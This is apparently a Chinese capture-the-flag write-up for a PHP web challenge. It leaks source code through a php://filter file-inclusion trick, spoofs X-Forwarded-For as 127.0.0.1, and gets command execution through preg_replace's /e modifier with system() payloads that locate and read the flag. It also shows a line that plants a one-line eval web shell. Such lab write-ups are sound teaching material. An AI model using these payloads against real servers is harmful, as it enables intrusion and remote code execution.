一.进入实验环境
1.进入后,发现只有一处点了有反应:
进去后啥也没有,右键查看源码,发现给了我们一个提示:page?index, 感觉应该和文件包含漏洞有关。
我们用php的伪协议 php://filter来读取目标文件内容, 构造 ?page=php://filter/read=convert.base64-encode/resource=index.php
这是经过base64编码后的,我们要对他解码并输出,
2.打开之后,我们查看关键的源码:
通过分析源码,我们首先要伪造一个xff为 127.0.0.1 去发起请求,这里有一个 preg_replace函数。
语法:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP
代码(在适当的逆向引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:
<? echo preg_replace("/test/e",$_GET["h"],"jutst test"); ?>
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
更可怕的是 : fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }
3.我们构造payload /index.php?pat=/123/e&rep=system('find+/+-name+"flag*"')&sub=123,注意这里吧xff设为 127.0.0.1
得到flag的路径后在用cat命令查看即可:
/index.php?pat=/123/e&rep=system('cat+/var/www/html/s3chahahaDir/flag/flag.php')&sub=123
来源:https://www.cnblogs.com/darklee/p/12632709.html